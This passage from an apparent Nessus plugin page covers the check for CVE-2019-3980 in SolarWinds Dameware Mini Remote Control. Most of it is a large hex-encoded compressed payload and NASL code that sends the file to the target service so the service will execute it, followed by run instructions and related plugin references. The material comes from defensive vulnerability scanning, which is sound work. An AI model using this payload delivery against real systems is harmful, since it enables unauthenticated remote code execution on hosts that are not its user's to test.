'7b5cae8ed479d9ec188635635faf1867cc43713260f29e4aa768d40949504389' + 
'8b1e8effe47ae112e124858d0e73a6a81410d613dad7a8c8c0dabe988f03a84d' + 
'16c14568db98278372a7e298089831446ac94d58ece3ac4a57e34c0547cf8444' + 
'76e1cd0e360cc1dcd21d0082211771cac05597d44c76e90ae2f8d8ea5f1ef0c4' + 
'72a833a1e5b23271291f6263dcb14f8c9ba05948d6fcb56d704761dce4f4ac04' + 
'3211cece02a98024c59d027512578f5c91896c3bc0d9d95ef6b28dabb34d0a6a' + 
'9ea97d9cdd00ef5b4c8a0e5c56ed2597cbdb5cf541b87d51c85305e38943ab75' + 
'72f0142dd7fdb23461ea041a8852a5516b015d88f0bc72e634e554bf519872b2' + 
'dad64f63533393b272616e8c9585fed15ab566fa8234a08d29edb518cca6999a' + 
'a0a58381b473d4aaac6c269bf8b16e160cc52d7d4ecaca0ba640aad2f88de216' + 
'27eccaf9f20e05f5ea8ef6727e59a6a0be2a6b770fa95450c32b595964d02105' + 
'f5cc21f6fd36d87f81f11d34635af0340aec29d3c228d60e257624f19f19191a' + 
'2919913d79df0ff727afbbbdf2d5facf07e32d392a69dc9ca41c7a4e886c882c' + 
'44a59a93882bfa597370263f67a69ad01971f864272da054d2e00e38dbde6b5b' + 
'3ab607c2ad7fc80fd33681dff127c0f078f0288cd10ff961daf10ff9d9e06c3c' + 
'ad20f30e4c97fd843865a7151de057dbb9451c8ed720de07bd14249ccfcd67f0' + 
'7dd703163ede9458fb800d3f64970fc2bf6c87c3dd27e040fdc8fa8b7e64e362' + 
'1eeead8fc64518e95c5dd9ea49681716fa509af9ad2c3dc87eec58c6a13f2a1e' + 
'2b9914f67db48c6fb6b69731af950ddfdedab18c0a0e5ef88f6cb80a6c84310b' + 
'6c84331f6c4c9f02b603970ef5396783bb13c205db91b31d1eaafb3500bfdab3' + 
'23bed73dd9f87818dd99c3576e65f17441dae3f054593b963bef6feaaef40961' + 
'08fb6d80a3b376c461af95addb355cd9dfe4cabe912bfb76aeec36589f7265db' + 
'cbd5451957f66ace7d9cb3879c519032f99e61dd019ced02362ae6e8c1b9fb71' + 
'762da4c30f3f5ee6d29bc1ee0af61dce7d9fb3055cfce033ed78d9ea18d51c2e' + 
'19c186a3328f9e5c9daca582499de2672b4f5bd9f2bd4775ecabf3cfb0e54f39' + 
'c386679f61cb9fc7e5a3e3f22d3dd3b1edd79c61cbffaf336c5bfeebcca36d9f' + 
'0df083c7766c6bcc63042fb8adad4f53ac82b3f1bc8e787d7a866d9f6fceb4f7' + 
'a974bb380ff321fbb6c7fa94cd65cbf32697663eb7deb10bdc79fcf6d58dd30e' + 
'3c6af465683f41bbdf2df05bf50bf447bb7857f04c07c4abb58b27efc4a3d642' + 
'bced767ee3c02fe997a76748fe379f2119cb9f9a05026d18c8f4d4880e3bc139' + 
'82f6f319cfd9ed030753a3d934c1e9205802a5f3c9b9081432d54953321335ea' + 
'0c229a38dafb87aadbfcbd79205f707ba2a1dcf2ff6220dc17789c2ca2644f57' + 
'ace1cf043994dd6f550aa233333aec4c87f23bee543fffe84e35c08c4098e815' + 
'89bbd5e5b8fb9c44ca481d23efb68de8606a9d205d4b6b1233b25383a9ef4858' + 
'58aa46cb0552e13638c134ad495dc0d06a2df8aad137222b894927d94e4bc8c0' + 
'b80bdb7dd99a04bf39a46c5869b853819d2b8c08619c6405315205b1a949ea90' + 
'94044d545604caee9316d36aea5d8255ba1a45b5dbfc481607551659a2a2280b' + 
'91d442541415df065f8df21dc4ae469f1876655a09729b4d4e6425b75a7eae36' + 
'5b03609283a9e848e54c9b7f31f5982311006d03ebcf49549c3fb592f50d8549' + 
'80266b31eee0030f62fd207374ab12401ea6de66fdd023146615d40ad6cd3618' + 
'4956cd9ba95e481ae679f562aa095d50d8988474468dc853df9370121f220453' + 
'9f50a16a76b35dad217be891598c26514d89806670e640fc20dd034cf7702cf0' + 
'0f0e8d09564db1951a4f0f4467b64f3d81abf3a6a7ab41bc47fe1a92c5663c25' + 
'534b276442265400f84db18b0d73360ed4f4a9cae0e8281bdc19fcb6968ccab2' + 
'352ff521653fa1fe8c3f934e8fcecc0582a3f4fc9909a95a75db960ce08f2dcc' + 
'6d53e12e5530f5172f1c667fa4bb527f9077b61b16f267306acd62955a43c47b' + 
'c033248b2164b21f29212a357111f1a0a85176fd2f8accf5a624017fb7f3e570' + 
'03ef9de81bb9182a30030937588bf44748b8af001a283a33855078521bca108e' + 
'793613cc66aa59dc0c3c6e66129c94a421ab08be8228db1cb16d6561e4a31850' + 
'f7091cd279a977092e7412c79ea8498227664f5da5b08694ed33c0481a0ffc40' + 
'a70d42288f0650d79e9022960a7e7c8a588aba873d924587ab5b958d4fe0f618' + 
'f5368b71828666b2d96e79879487eb30d46de262a90b2450410cbbd2401a37da' + 
'e6e2b8ac1b7f8a7652421261c92a5a43f9000f4e48e216fe81a2bbb0e1c83231' + 
'98eaccba43b29248746a038b0ba28eb8418acd1d7da03cf9e8335d19811ce536' + 
'a13c15a24d89b1aded6a7eb60d37151eef4b84726f6fa7139222de1683102545' + 
'9da3c2d2196d0ad60cbba80fed2de34f0d014ecd6200f80cb077c73e5d7b7dfa' + 
'3c7d9e3e4f9fff3bcf3b1a05751ce6a3f567dad71276a815d4677a0595b44b41' + 
'f55bdaee1f5bdcfeeebbf4d1f51a733debe713141c332f312b631e598b56283a' + 
'8485dbbdab82677508530587dae6bc649d2a9ef5776e5bb3e09379ceb4eb8a6f' + 
'a8c7ecdfdbe78fc73de6e14a32645f5bc8fa2f5fc6ce9f9937294afb26eeb52b' + 
'2837ceacbaada0f26f772c13a65b5fc01ab2ee7257413937b0307cb8793f3eba' + 
'81c16d36cffe9081f4d1fae6dba57bdcc3e7ccd3e7e9f34f1f422ff715648dea' + 
'f43d055997da7e8f5db393dee3d6e29a1554175cf36b66d7e25681dd0dd790c0' + 
'c6b5b4a16093ce04766f5c036c52507d704d0c6cfcbe680ad8786f6116d87800' + 
'251cec25b8ae00760bfa5f5350b85035b489ac9995b970b8f58577dbbae5eb76' + 
'ef26781771ef2fdbbdafb67b5f63f7fe8addfbab76efafd9bd0bd8b51252ee55' + 
'1c1fc105132cbff41bc563cdc36bd91ddc7c21018d1f2699bf6cf132db81946d' + 
'97587bd356d62eda7019ab805214ea88bd1de2976ff979cb93ce1714b5b2b682' + 
'b3bffc87f183397b37c4ff61f3b5cdbda95f379b37cf7e32fcc24de46d0634c8' + 
'8c9fe7fe2ca3e6fd9cf6f3a847e39faabd78b919787a2197121a89d762b5e2c1' + 
'3a6c47ac25ab805d642a823a75e7d64311dfa50fd55f0f3b1e26e06c6c734c83' + 
'6ba9aedc5aab13d756620e9698f31373edd789cbdb16d6834b8bb684832be5fc' + 
'90aebb7206fd0770fefe9c3b987387706e15976626e71fc9d9b11cfc382eef74' + 
'ce3f832b2b9e4bc4bea0e17075e4e2eb389c8b387b1917aee7c28b393840c3e4' + 
'b4d7bb9c7b1387cf7b5c7eef73fe7b38fc8e71e13f71e1ee9dd8ba78e4d9c86f' + 
'27e46a87f6f77ba2b677c5dbe2b6775585a4edddf36e57dbbbeef5377bb41d0c' + 
'dab7bf17fb2e3c50d3e7e5d1f8bee9f723c7fa1c3c354d21ab7ff7cb6cafed1f' + 
'7df74eaae278fc83c1bff67e797a2f8b5ef1e2eb3fad0be9ec601af6c9bb8ae6' + 
'031b437f2feababa68d9578a03e37fdcf683754affbc83a71459959757d5e96a' + 
'267ffddaf6e07d258ba29f093035665fce9fb4efc2cb179bdfb96f29dc312364' + 
'd3f59cab47fe1c36b2b86848e85069cf1d4d1f4baf7e77e85ea8e5fdd3771a2d' + 
'bf3cb764dd0f4af591aa573a6ffb7863afab5bc25cd53dc54cd17226a7263c62' + 
'd6a46befbf1610e8bff7f3df2323deff357ec277f181c6775f7dc11abfad7e93' + 
'ac2c6aebaa3109271e185f30d60e8e37349f5bb8635dd39d670e6cae8ebfa0cb' + 
'9c5af3af37642bf933e71fc25b6b1475f4c8514e93c5fda0172738ffb4251b7f' + 
'9a825e480abc34ddf4466657fd5f4115a746a87b5d99d573cf89db41c725838a' + 
'27f799bcf3bbf76f0529b6ed4e4dffc4e1db31cb2d417e13f64d5af2eb8f6b0f' + 
'9cb91174f0c1836309c55d728f7c782d68e4d4d9bf441cdabf76ddf59aa0570f' + 
'450632a147ddf6bff549d0c5855faf0d507ed4efb31fd606790eaabcb2efeb40' + 
'df04e392a084e8b8f2c2cf22f3bb7e332fe8a75b234d8efb5f2de97e3f34c833' + 
'686b5dc0d6677e5bba7d7850c1ce4dd7f625e5871dbf103d31f125c72383a272' + 
'f5d6578a26bc726f5caf258983437ccb768e1f60383176d9e437f6520f7e0a3c' + 
'5f3a4bd4e733f3d5e5db048195c5ca499d76af67c69cf319e7f7a2c7c941e746' + 
'dd9ab2e685806d2bf697c5febc75d9b6cd5f8eba92f27997f7676e088ddb231d' + 
'3178ca35ef67474f8ffcf8d8a2c1abe384ef955d3c5870df5cd9efdd1ba52fc4' + 
'be32fe804a3fd07ddaf3ea050ff4ab3f715c5bd0e59af7c50dc74e560b2f6cab' + 
'757e3a6a3f7d9e3e4f9fa7cfff2b0f8f9531b8bd447b7f94ebe48ff17702c12e' + 
'1ce7100a1ee5297c14a2032713f2381912454834c5ac5c47f633e7f0888c5386' + 
'a69e4764c5321073ca547c3cefcfa3a2a8144a0d12971a24b05c2a81d2829d40' + 
'65c26f2afcd2242c137cd2c107df355416181f90a3d821a616604c8718981e43' + 
'6420cd6571f09201463abc69c979d7042a87f82e805f35c9016326411c8ca786' + 
'3719c4c45c1349bcc510ca80bd90c4c6bc13083e188f2658cbe01dfd12002662' + 
'ae06bc642085625822b5c82e1e42a241bec45fc4eb614c3157f46d2fd7dab6ba' + 
'91117c349092c53491c303eb2b85b85338cc17123cff0e3fcc096b2313f2a249' + 
'3c0de0a46d2b178b17629343ea3c157cdb719a0f38853e02b1bd55c6814bd9e6' + 
'92417913c066eb74e1dfd61a9bc39a7f50669ab424fd3f5262fb36b0e586d099' + 
'b656d33e26adac2dcda3b8a47014fe4f69d0be8c2c4ed980d3e0368ad6fe17e8' + 
'f99fd59bad0e147675f068796c3dd656bbc9248fcc0e54f3f479fa3c7d9e3e4f' + 
'9fa7cfd3e7e9f3f479fa3c7dfe271e396ef0f1f9947c599f018e4ec397872f6f' + 
'74e575e26f5cd6a72b7875e6f378be2e72274707afce027e6f074a9ee2e8ece5' + 
'c813f2968de1f3841b5f90cf92fbd9f948e4f8b1b78db2cdfd741ed478f2371d' + 
'a6025a10f971928d13aa89f8271f600753e8f6fbadecd26ddd0ebb7cf9c0f39d' + 
'431f34dde4c7eceaba7159f7d7e4cb0487c0786f14f0797cbe74f2815eeb2e99' + 
'668685349ecb0877f57d4feeda8631cf01702b32125c05d142c76efc17827dbb' + 
'cbbba143d44d1c8b77d73499b290846cb5af9bbc2b7a77eae612ca68162464e6' + 
'a4a6a7ab7d25000d7c9dbb3946a524e4d26adfbef23ee8e1d2cd8df59085a835' + 
'749b6214dffef2be182ce8d6830bc6a3925a3a21239b681b0b96f7ebe92af7f3' + 
'1d251f2d27cf0b3d5d7dd1e937cacf3fc03fe00579a41db2d191be3de5ddd9fc' + 
'3ba3b289c8d4859923645332137d7cbde4c3d88c06da024856b2485b5e360d53' + 
'98e932de40fb5ae1395082653c09b42ecf99bf8cc7a33e38fcf97b478eca3e71' + 
'2e30ec5cc1d4ef9a76fb52b9e4c0c2846fb72479fcfc4df361bf0f8be5865985' + 
'abce2dbaf0ecbb9203276ee6fd99bbad306bfc81d73e71fd3ae56efadac3dfce' + 
'f4fe307cc25fbb7f8c9fd787bfe1dec845fdde6bdcf2d6b6ded5fc5f964e9d79' + 
'b5f3fc9b0a8fc2af5c2f0655edbab4e2db794bd27c7d04eb8bba6d9f2c3be6ab' + 
'758df53e9a37da6f5dd7f55dbfba983272c7f5ab0757ae1a5e611cb022f95bfd' + 
'acd82ce6c0f81d4356c41f96761fbfa1f8b7a872e7cc43addf3d77e1ab4e5dde' + 
'18987f6ee23327fae5dddce05b73fbfac05ee70e7d3139e4addef336f65b736d' + 
'ee5fb7f26f177cb880b7faaf08978bc707c66c5f77f4e3d29c8f6f7ded7ae75a' + 
'c4d98df753367eec16f8c58af26ff8409ebc2d45e7e445b5f2d18e22205c0787' + 
'4e3c9e70a87c88dcd3e696f396bba7d074f6b89123b312b5d93ea810470bf5ee' + 
'9398954168a76f371ecf2a14c91dc1e2f3287930faf5178e938f953fbb71f4c6' + 
'51cbe55cf2444d7a87d423595ab1279590601f884528b5ef60a158ee6cc34220' + 
'9277464f09e625841ee0081882bb8b1028f3bd5ef29e36fa16741347450603a1' + 
'8df5f6f5f6f77ba857088a8aa8e71635ff36eb60a887af61f17aafd70f2cdbc9' + 
'3be331f5e8a72b67655e120ddb32b7faf06bdd6e0867bafe31f99991d4d84faf' + 
'd5bc36edadd30317746f0c1a33607ab6afeeb671ec8a2fcce637a8d61fa25f9f' + 
'e679f28367a62df9784f42f09de1c76ed49c9d7be11baf92895fbef3e5d95f62' + 
'adfb777d57f8d70fe277ebdf68f53a1538b34f9fb1cf34063d077dd82a5fc6bf' + 
'c1f563d73aaffad3b5c34add473938cd7d2ba7f4e17efc7fa4673cda1de563ed' + 
'bb63ec3fcc74a4dc9bcd74c8bfcb14c3d49a7fdb253f570d0dbf702a6549b17b' + 
'6832135f7868ef86c421d609216fe777192b1d1cad3dcb3c93fa60da57b239a7' + 
'9c9b37f619fe7b74cc8084da7ee7aeedf35b54f5c7852d63d42ff7794dbc3bb2' + 
'df9cfc64ff790e2b95ad39d32e45ea3617c9def9b874ce6651e3aff2e65b03c7' + 
'4c9de47cec5265ff4367a2eb8a82be9cb965c40ede923f37ef30f9b76eb81e9f' + 
'e6b061c2a2ab075e2f6b3d32bf5971a3d3c6504bd18cccadc3ffdcbd523af4f7' + 
'd5e71d372e57bdf5d273225779dfc3d2771735d6cdfa58f88162fde743cdab7b' + 
'ec1c7f3532ebf953feef7c9995d4f78bd7477c33e1c6624bc692e61ed7877cf4' + 
'c91feb23f72846acdbbb7847ebe9991f0ea30b27dd0ce8b739adc7f5b86f3c53' + 
'6a295d8874856e11d7250fcb8baafe8b5d52dcd625f9720ac623d21947c887cb' + 
'876e1cb2d173f9c02775465aabf54e4c20ddaf07e97e08e26f7aa063d93fea81' + 
'a31fee81d8ca2bf2b27f9e3693279b7d7971cd32f9a1075ff57afddb57a88a6f' + 
'8f1eadbcdbb9d6da1c51e6b740dee5bbbfe83ea75fbd38ef6d59b7cff295fb55' + 
'47f537743df5ef3ff3dac26e61f70fef7d335870e45f33663b18976ecfbad347' + 
'd5c7d3e7cf5453fac0c66f0ef758f7bb982e4bc93d6b59bf6045b9764d93815e' + 
'32e8c32d6fbef4c6678dab87bd18e1c3f4090ffeb9fe4b5759d499dc8d6f2c4b' + 
'4c7de0f4c3ca7ae61ba77f9d6dee123de4ad8451fb97f03f7d69f9fecd15c681' + 
'23f24ef8e7ec7b553ba7f9abeb53bb3b0f3a72ede4e9d13e5314ddc74be62ff1' + 
'acdc9afcc7eb3f645b26deb8eb5a78fe44fe969c1753cbdf9e3e59ee3fe0b3cd' + 
'9ff45e30deebeccb3b86777aa9d6fd8b392f5d79676b56eb78c347f265421028' + 
'f8f7581620a1ca29e3f8f1a55d4e4c6c48bc7949615f6342e000d9b6beedd26d' + 
'604856f6624deac2145a36347198cc3720608cac5d414e489626dbc7b79fdc83' + 
'8ddcbd634896861dab07c8fbb3cde4de1e3e332b8b960533744a16aa6641f610' + 
'3046eeeb2b978fe1d8c3285473ebcb39ff2f60f46f8772feb7e5d9d703ff9cd6' + 
'67e88637f2e6ca7fdbfc8169f0bca6d67553b7ec697d67b36c62fe8ccdffdabc' + 
'7afea8452726252dbeb533a726eae73f2d6f2ff758bda138f98bef162d5930e8' + 
'4cdff11725bc57cdaf1f3ae09dfcd65b2943d61f1f37e280f8cb5943cac36e38' + 
'4f1cfbfa880f86066cbf39453fe96ab1e49bb7d2a313762ecbdf34df3b776add' + 
'fa5d49816fa93c7c459e6e1b3eb8f18a97fbf5096f26bacd9fe5a0ded077cccc' + 
'158defffb1965fd9e7d48168e51706dd817137a3d64efbf8c1fb4b32e8699fb8' + 
'1f79dd69e8002a76cdfcd431df3cdfb5d3f818ebecfbef253b8bb69d2c8a89fd' + 
'6377e0dc1e45b9c29f1bf67fac5bd7fae9d1a567deefad9933fef0be7ad19681' + 
'f22f1c4b6abe90e5762bb9c4f18dedf2a2adf2a2cdd82f79c2a2b7e4456fe8a4' + 
'b38f67ff91aa7977d08c42b7cf235eb67ebf49f33fdf7ecbfe0d8d13aeb0ceec' + 
'5266baf386bbffef7b799eb5b95deecc993f6ac3bb2edf4f7478a57475cdb8eb' + 
'03feac8f7d6dc4971b27572ff8a3e5a72381812f7cf06c546aab674650cd911d' + 
'171df22ff89a266c9066a77dd3da75ba7b6a59cbf190ab5d5e904dff6dc14b9f' + 
'ece855ed3566b0f77ef5a6ae2b074b12b7344679340fa839d3fdcecc9d9921a3' + 
'3a3d58d6b3e9d785e9ae331abebd3db3eadb1b87e42d325fa7d2beeb86f58ef8' + 
'b12f7feb6ddd65c1aed9773fbb501d7b4b3da56a66d4ee5d82a15dad6bced48b' + 
'5617ee7de3bb0fc78cb8b6e4daf6dcab391ba9e36941e5279f5d7939b8eb76ff' + 
'b43e69e7fc7f39ed21bcb65d29ac7ec16f6c668487eb823dce9b579dfa312a28' + 
'eca847f4b6ec735dc7ad788dd9f0fec98dc0156a4038f88c130cd25cd64f2fa3' + 
'2eeee872ba56f1d6f6fdd7ff9f600b72e003c016c6daa4067f5f5f901b58a7bc' + 
'685b47b1a19bbc0b3be5708e4dd0a6803840433e52328cc084a3d34c75524656' + 
'66920d33e72761f6a4628e824c1f29e620f900b618bded4392d4440041894445' + 
'2606b247b9892b721311e1269b8bbb47d6bac83b8f5e671dd7e7e09d912f658c' + 
'191471e7e4aa5f1f7cf2e03bfee8fe9e55bf6e3a1f75b3904f4ffef0dca8593d' + 
'dc660c1b7bbbf0f35dabc64dfe32605a66d4415ff1b88cfb478f7eaf7abbcfc7' + 
'efd79e7d6e48d097df7dbffaf52b53fecca8ad7b7de245871feab7458ff968e4' + 
'fca3ba84499ba6443d2771dff3fcd9d7d6cb5f98cc24ed3af5cd85dd1f8adf99' + 
'be571be83e6ec7ae15ab3e2dfd34627aff695dbef4d35d721d9794155a35fadb' + 
'e75efbd7be6d7d9b1d064d9b3f6cf591e17f16bfb5fea3ede79cb35f3a333a78' + 
'cdd63dc95573faf4dde2d7f95f5182de416faed97be4c604211de2b1ba31e0fa' + 
'173bc3972c1ade79012f212027f3c1c4373b3def769b17f6a03b7579f2cfd3af' + 
'395cd30de6f3045b96f186427d783e4e1617fcef60315247276e2ede9d875306' + 
'8a4c52fb7616f610ba0d9bf3559fdd47fd6e7df36e5c41e3af877d0eb98e1e2a' + 
'efd596c08d2f14f773a622290626ec2154b0dc85883e64e6112697b489580e72' + 
'01588f6366ca5957de0a5edaf2ce81f0dcdc8f579dbddeebbbd85dbdbfddf5d5' + 
'3cfe26655a405cf357cfbced1df16ecbe66b63578e4d1a38e9d2572387ffb0e7' + 
'8ce361cbf003977b97e49f9b219a7077e0a9d36519a545dd43e725e9930e7db0' + 
'76c4ca736bc63c27d9633e9db03a27e797b383ad9ec5eb4cc298a8b59b3cc64d' + 
'5cb6efd6d615ab3c563dbf78de9753eecd1d953aae7fd4474cc4a5a41bf2f1e7' + 
'92a684debf7fc863d28bd7374e50de5a446dd839e9dbafbb7c1173edfe8f9b87' + 
'17d5f69fb6397aff33abb3b76d4eef638d5ab96c5fd1f3db367d96bce4839eef' + 
'7fef5836d9b2ed8b3adfee9113860b0f58b5e1e78dcf84b4249a6f79ae98bdff' + 
'd91366dfbf469d9d7b69f192afe53b53973f777f5597037d4c5171c0cc7e0166' + 
'56c33233e784ce05ef932596f047d629feb7300d76ce241fe52ff7f70ff01d4d' + 
'b81f70437ff9b37274cae9ff23e5e0c2054f08fff7132aef154e5fceb914bdde' + 
'3273c18d5377af2a5ffc60d481b57f76ae73fda8f59d2a61daac696fbf77a236' + 
'34f87e52a1447dabbae7cf11e7ce9e51ed12c7cc4eef51fafc01c12d55b8fee6' + 
'f4d2d7de9a71756dafa5f7be7863ebb1f9191b2e4c7d6decb74747c7bd787df9' + 
'b13afdfa8dafeffded72e8ec6e93be1a173e2d4ad3287afd1a7568192f27e493' + 
'8483e7eefdfa5d3dbfdb8526ff5d12d799cf86d1219f6d3efcf685c2f5b7fdbb' + 
'e4deef3e84f7f20f97f70af386777fa0a99c9ff38af8c6f4cfddddfba41a76dd' + 
'1e39a04ff26f875fa90a73fdaae7ac1767c52c570f3ac11ff571d2c6ac9f67ae' + 
'7b70ff8269f45fe562ff2d937faaeb93764fa2dc651ed537bbd7b7279a7f4dea' + 
'6f5931e6b7acd3aefad50f58c168194f013532fe91194c3b4358b6fafd9e4949' + 
'9ad01fe51ff728be12b9e6fb89ef9e7e02effb007d07098b36c98bded53d9693' + 
'6ca2dffbbfc1011f15199e63a77f21f26079d0c6091b039707d84dff326c70c8' + 
'fc2f7b512afa8eccd664253189b476247600a47f15b728f39879dc73e1e7477d' + 
'ba646190d18bb74bfcd7b9c5c1f197c7fc7e608676e999e6c2f48ca51bf66d7d' + 
'2fbcdff6abbf6ffb6bfcf2b457e2a69e8e74b35cbc75b4e2fc9a2da2cf8cca71' + 
'0fd2b2eb8f091d9ff591ef5a3df5c3df2e84c41dd56ffce9d67b533e967a4e5f' + 
'6ffd91df7c73f9d4adb503cdbc9ede966e6bd6bfd545e727ee555ae8d8ebb4ef' + 
'ef536b0abff1acfaecdb5fa3027fcb951a56a45f7e5b673a29bdf6dc1b1ffc16' + 
'dbeba73c2fd77ff93ff3d9d8fd270f7c54557f3de3850dd286c3b7ffbc2cff90' + 
'b7ad5bf5ee80a46f9d9c7e37ee76734f5b32ac927e3e70f26db79aef2ff6bcf0' + 
'f99cda23012bc607847f27cf7f9989bdf57b9f8dae251affa429fb374d197be5' + 
'adb79fcb5f96e4cacb9b17d35a4afb2e133603a3fb8bcfe3c98bbefc5fc3ca3a' + 
'b0e3f6a5e78dcb78dd710ce45ad949e02bb65fdf062cdb5d2ebe9de5f6a1dde5' + 
'83da130a7da143edd0fd6bc5ea85170596e613c9fc73233ed3fe59619417edb2' + 
'4b23f62593958d737573a808726609cf41e1f27832391b33949a490d033b8c3b' + 
'95667f524c0b237306f84ce1cebc2d84b4a9f0b618fc62c84928dba91ecd2685' + 
'6e2247f59c7ab587289fd307ef93a0cdce0bd226a6264d58b420509de9cd6803' + 
'c78ef61d15207f88c10a97f1a8be4323bb19a83796e8ae37be3cef23fad0db85' + 
'0ddda29cb3be9ca6f27a6f5949e8e0d55badbfa77ebdbd97fc7e98faf8179fcc' + 
'9e997bf5f9af377fb374767168cca6b33f1797a70c62d2ea8667977dbaa9f32b' + 
'8ecbf3831a3e1bcfdf924f4f3fb36ffbe7cb37bfbebc67e9da8bffdf549b3705' + 
'389cff1f753b70edf199ddf9619ab7d6bb0b17b9b03f7cdaf9d232e87897939d' + 
'88d315f98366b376ee10bcc7d07cf9506cfead3b1fd9723eac981020f367955f' + 
'fca16d1baf1cdcd9dfcbc6d950bd752acbf1e6b6f90f5324b66769bcf178db10' + 
'367572f039eec8e3fab7a34da5cfff79cca1bfcb659b7f75a473f467254ef900' + 
'8efff3b8457efad99f50ced1655f5ac8e93385b7b43ab83bad62c26fe523090b' + 
'9b80cd9e26c6df884867336c627c03147a01ca0ce93419b6c43258cac3c60171' + 
'0013b04c5a106920819c7cb91173388cc0d40b976135e40756de26c0ce8bb191' + 
'819199816114b06c454abd422c02be8ff36beb4ddd5f44cde50abcbaeaf6022c' + 
'49206ff3bf7d734aa276b44589bbb8b5d958fb78af4e387282bd904be7898bc2' + 
'ab47db1f05e93b9cfddebec3e87190fe9b7fdf0f083e9efe74d556c10f5b7e99' + 
'7e7c62ba6ed7de25552a9e3baede7be22c1524bdd5e7a3bbe3fcd0f391adba41' + 
'93d9ee6ed9727ae6dc77e22a8a8777efb752e83aea6bb08fe3ed37c954fb4346' + 
'7f6e9aaa4d0d9d7bf7bfe224917995e6d799451f3efec415db764c73ff8d92ed' + 
'3c1cb3b739ebaffb7a70ed5c11d6caad3c1aacf379560afc7e689b2f933d73b3' + 
'b45ff0d4c26def2731d83cdbe3efa7fa6577215775f9b418f7b5c13c971358ee' + 
'561ddafce7633833c725f6e5c63f16b57b703ff36e96f134e5b929fef6b5e18e' + 
'fc19abef2bf8311734b72a9b474b3bdd04961e00';

data = zlib_decompress(data:bn_hex2raw(data));

req =  mkdword(0xd6f6);
req += mkdword(2);
req += mkdword(strlen(data));
req += data;
send(socket:soc, data:req);

# Long timeout: server can be slow to respond
res = recv(socket:soc, length:0x1438,timeout:30);
close(soc);

#
# Vulnerable dwrcs.exe attempts to execute the file we sent and
# responds with a 0x0000D6EC msg.
#
if(strlen(res) > 4 && getdword(blob:res, pos:0) == 0x0000d6ec)
{
  extra = 'Nessus was able to detect the issue by attempting to perform a Smart Card Logon.';
  security_report_v4(port:port, severity:SECURITY_HOLE, extra:extra);
}
else
  audit(AUDIT_HOST_NOT, 'affected');

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl

Go back to menu.

How to Run


Here is how to run the SolarWinds Dameware Mini Remote Control Unauthenticated RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Windows plugin family.
  6. On the right side table select SolarWinds Dameware Mini Remote Control Unauthenticated RCE plugin ID 130458.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl -t <IP/HOST>

Go back to menu.

References


IAVA | Information Assurance Vulnerability Alert:
  • 2020-A-0392-S
TRA | Tenable Research Advisory: See also: Similar and related Nessus plugins:
  • 124062 - SolarWinds DameWare Mini Remote Client Agent < 12.0.3 Stack Buffer Overflow
  • 86995 - SolarWinds DameWare Mini Remote Control < 12.0 Hotfix 2 SSLv3 Padding Oracle On Downgraded Legacy Encryption (POODLE)
  • 91123 - SolarWinds Storage Resource Monitor Profiler < 6.2.3 Multiple Vulnerabilities (Logjam) (POODLE)
  • 86421 - SolarWinds Storage Resource Monitor < 6.2 ProcessFileUpload.jsp File Upload RCE
  • 47137 - SolarWinds TFTP Server < 10.4.0.13 DoS
  • 47138 - SolarWinds TFTP Server < 10.4.0.14 DoS
  • 146309 - SolarWinds Orion Platform < 2019.4.2 Remote Code Execution
  • 146310 - SolarWinds Orion Platform < 2020.2.4 Multiple Vulnerabilities
  • 144449 - SolarWinds Orion Platform < 2020.2.1 HF2 Multiple Vulnerabilities
  • 83817 - SolarWinds Orion Multiple SQLi Vulnerabilities
  • 62118 - SolarWinds Orion NPM < 10.3.1 Multiple Vulnerabilities
  • 155442 - SolarWinds Orion Platform 2020.2.0 < 2020.2.6 Multiple Vulnerabilities
  • 144622 - SolarWinds Orion Platform < 2019.4 HF6 / 2020.2 < 2020.2.1 HF2 Authentication Bypass (SUPERNOVA)
  • 87600 - SolarWinds Storage Manager AuthenticationFilter Script Upload RCE
  • 59116 - SolarWinds Storage Manager Server LoginServlet loginName Parameter SQL Injection
  • 154954 - SolarWinds Virtualization Manager <= 6.3.1 Privilege Escalation
  • 92040 - SolarWinds Virtualization Manager Java Object Deserialization RCE

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl version 1.6. For more plugins, visit the Nessus Plugin Library.

Go back to menu.